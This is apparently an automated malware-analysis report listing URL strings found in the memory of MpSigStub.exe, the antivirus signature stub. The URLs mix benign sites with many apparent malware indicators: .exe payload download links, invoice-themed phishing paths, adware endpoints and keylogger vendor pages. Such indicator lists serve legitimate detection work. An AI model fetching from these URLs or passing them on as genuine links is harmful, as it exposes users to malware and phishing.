        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://www.activision.com/games/wolfenstein/purchase.html
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.adserver.com
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://www.advgoogle.blogdpot.com
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: http://www.agendagyn.com/media/fotos/2010/
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://www.agesic.gub.uy/acrn/acrn.crl0)
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://www.agesic.gub.uy/acrn/cps_acrn.pdf0
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://www.airmak.it/information.rar
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://www.ajanster.com/zuppe/
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: http://www.alanga.net/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://www.aldimarche.eu/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.alexa.com
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.alibaba.com
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: http://www.allatori.com
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://www.alot.com/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://www.alphadecimal.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://www.altayusa.com/ssl/js/prototype.js
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://www.alxup.com/bin/Up.ini
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.amazon.com
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://www.amentosx.com/script/r.php
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://www.ancert.com/cps0
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://www.andrewkarpie.com/sweat/secure/serve.php?protect=noefort)
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://www.anf.es/AC/RC/ocsp0c
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: http://www.antivirusxp2008.com
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://www.apache.org/licenses/license-
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://www.appkyc6666.cn
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.apple.com
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://www.applicablebeam.com/ddawdew/trjgje.exe
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://www.ardamax.com
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://www.ardamax.com/keylogger/
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://www.arfa.it/rechnung/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://www.asame.org/includes/js/dtree/img/474/mamb/pdf/pdf.htm)
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://www.asianraw.com/members/vs.html
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://www.ateliedeervas.com.br/scan/
        Source: MpSigStub.exe, 00000023.00000003.18283012261.0000015B1BB87000.00000004.00000001.sdmpString found in binary or memory: http://www.avpro-labs.com/buy.html
        Source: MpSigStub.exe, 00000023.00000003.18283012261.0000015B1BB87000.00000004.00000001.sdmpString found in binary or memory: http://www.avpro-labs.com/buy.htmlx
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www.baidu.cn/baidu?
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www.baidu.cn/s?
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www.baidu.com/baidu?
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.baidu.com/baidu?tn=
        Source: MpSigStub.exe, 00000023.00000003.18351150877.0000015B1B40C000.00000004.00000001.sdmpString found in binary or memory: http://www.baidu.com/cpro.php?
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www.baidu.com/s?
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www.baidu.com/s?wd=
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www.baidu.com/s?wd=http://www.google.cn/search?hl=zh-CN&q=http://search.cn.yahoo.com/search?p
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://www.beidou123.cn/count.asp
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://www.bin32.com/check?id=1&ver=16
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://www.bitly.com/yeuiqwbdhasdvbhsagdhj%public%
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://www.blazehits.net/popup.
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://www.blazingtools.com
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.bliao.com/
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://www.blizzard.com/support/
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://www.blue-series.de
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://www.bluelook.es/bvvtbbh.php
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://www.bobozim.hpg.com.br/nohot.jpg
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.bokee.com/
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://www.bonusesfound.ml/install/inst64.exe
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://www.bonusesfound.ml/update/index.php
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://www.bookiq.bsnl.co.in/data_entry/circulars/m
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpString found in binary or memory: http://www.boot-land.net/
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://www.boukan.8m.net/AYO_Soft/Index.html
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://www.britishtotty.com/content/homepage.html
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://www.browserwise.com/d
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://www.busnuansa.my.id/pboojfzdzpub/8888888.png
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://www.ca.posta.rs/dokumentacija0h
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://www.cakedan.com/
        Source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmpString found in binary or memory: http://www.calyeung.com/exec/wmapop.perl
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.cashon.co.kr/app/app.php?url=
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.cashon.co.kr/app/install.php?
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.cashon.co.kr/app/uninstall.php?
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.cashon.co.kr/search/search.php
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.cashon.co.kr/search/search.phpx
        Source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmpString found in binary or memory: http://www.ccleaner.com
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://www.ccnnic.com/download/
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://www.cepdep.org/csslb/graphics/outlines/registro-cita.php
        Source: MpSigStub.exe, 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmpString found in binary or memory: http://www.cert.fnmt.es/dpcs/0
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: http://www.certum.pl/CPS0
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://www.chambersign.org1
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://www.charlesboyer.it/invoice-for
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://www.chatzum.com/statistics/?affid=$RPT_AFFID&cztbid=$RPT_UID&inst=$RTP_SETINST&sethp=$RTP_SET
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://www.cheathappens.com/trainer_troubleshooting_lite.asp
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://www.cheathappens.com/unauthorized/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://www.chipsroofingloveland.com/status/services-06-26-18-new-customer-vh/
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: http://www.chmeditor.com/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://www.cinderella-movie.com/regist1.php?s=2&d=14&f=01
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://www.ckplayer.comutf-8
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://www.cleveradds.com/
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: http://www.clubnoega.com/_notes/arquivo1.exe
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: http://www.clubnoega.com/_notes/arquivo2.exe
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: http://www.clubnoega.com/_notes/arquivo3.exe
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.cmbchina.com/
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.cmfu.com/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.cnn.com
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.coapr13south.com/download.php?
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.coapr13south.com/download.php?xe
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://www.codylindley.com)
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.cojulyfastdl.com/download.php?
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.cojulyfastdl.com/download.php?x
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.cojune13coast.com/download.php?
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://www.colegioarbitrosargentinos.com.ar/img/overdue-account/invoice-053541/
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.comar13west.com/download.php?
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.comay13north.com/download.php?
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.comay15coat.com/download.php?
        Source: MpSigStub.exe, 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmpString found in binary or memory: http://www.comegoto.com/host.jpg
        Source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpString found in binary or memory: http://www.comfm.com
        Source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmpString found in binary or memory: http://www.comfm.comx;
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://www.commonname.com/find.asp?cn=
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://www.constructed.fi/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://www.contacto1190.com.mx/css/aa/index.php?userid=admin.sharepoint
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.cooct13hen.com/download.php?
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.cooctdlfast.com/download.php?
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.cooctdlfast.com/download.php?x
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://www.copy9.com
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.cosept13jetty.com/download.php?
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.cosept14water.com/download.php?
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://www.cow-shop.nl/index4.html
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://www.crl-lhk.eus/bbvnoti/530340.png
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://www.ctuser.net
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://www.cultravel.it/invoice-number-
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://www.cxgr.com/codec/play/download/playmp3/
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://www.dandownload.com/
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.dangdang.com/
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: http://www.darxk.com/aviatic/systema.exe
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.daybt.com/query.asp?q=%s
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpString found in binary or memory: http://www.dealply.com/faq/
        Source: MpSigStub.exe, 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmpString found in binary or memory: http://www.default-search.net/search?sid=
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://www.defence.gov.au/pki0
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://www.delta-homes.com/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://www.desh-datenservice.de/ups-view/
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://www.dhl.com/img/meta/dhl_logo.gif
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://www.dialerclub.com
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpString found in binary or memory: http://www.diannaowang.com:8080
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.dianping.com/
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://www.diaochapai.com/survey/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://www.digitrends.co.ke/invoice/
        Source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmpString found in binary or memory: http://www.direct-ip.com/
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://www.distance24.org/route.json?stops=
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://www.dk-soft.org
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://www.dnangels.net/q2q/qqlong.asp
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://www.dnie.es/dpc0
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://www.dosearches.com/?utm_source=b&utm_medium=
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://www.doswf.com
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://www.down988.cn/2.htm?021width=0height=0
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://www.dsdsd.com/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://www.dutty.de/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://www.e-jok.cn/cnfg/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://www.e-jok.cn/cnfg/_poplkh
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://www.e-jok.cn/cnfg/canview.txt
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://www.e-jok.cn/cnfg/xh
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://www.e-jok.cn/count/updatedata.aspx?id=
        Source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmpString found in binary or memory: http://www.e-mirrorsite.com/exit/music
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://www.easypoint.kr/cashback/config.php
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://www.easyspeedcheck.com/easyspeedcheck-1.php
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://www.easyspeedcheck.com/easyspeedcheck-1.phpx
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.ebay.com
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://www.efixpctools.com
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://www.egy8.com
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://www.egy8.comx
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://www.elec-tb.com/tmp
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://www.empressdynasty.com/invoice-number-51356/
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://www.en100wan.com/google.htmwidth=0height=0
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://www.enerjisampiyonaku.com/logs/form.php
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://www.enquesta.tempsdoci.com/tracking-number-7fjs84476372436909/mar-13-18-04-02-56
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://www.eomniform.com/OF5/nsplugins/OFMailX.cab
        Source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmpString found in binary or memory: http://www.epoolsoft.com/pchunter/x
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://www.epoolstroi.ru/templates/im-start/css/fonts/canada%20post%20notice%20card.zip
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://www.esaof.edu.pt/templates/beez/images_general/xml/xiqueyhayudhxzzc.exe
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://www.ewrtw.pw/c/niubilityc.exe
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://www.exit7.net/
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: http://www.eyuyan.com)
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpString found in binary or memory: http://www.f2ko.de
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://www.facebookikiziniz.com/ext/r.php
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://www.fakhfouri.com/sales-invoice/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.fastclick.com
        Source: MpSigStub.exe, 00000023.00000003.18344667874.0000015B1B06E000.00000004.00000001.sdmpString found in binary or memory: http://www.fastmp3player.com
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://www.fastmp3player.com/affiliates/
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://www.fastmp3player.com/affiliates/772465/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://www.fb.beirutmarathonculture.org/aos/aos/aos/index.htm)
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://www.fbcom.review/d/10.doc
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://www.fbcom.review/d/9.doc
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://www.fbi.gov/index.htm
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://www.fenomen-games.com/dhome.htm
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://www.fenomen-games.com/dhome.htmxM
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://www.fileden.com/files/2011/10/5/3204996/curver.txt
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://www.fileden.com/files/2011/10/5/3204996/curver.txtxN
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://www.firmaprofesional.com/cps0
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://www.fixarabul.com
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://www.fixarasana.com
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.flashempire.com/
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://www.flashkin.net
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://www.flvpro.com/?aff=
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://www.fopo.com.ar/thiscodewascreatedon
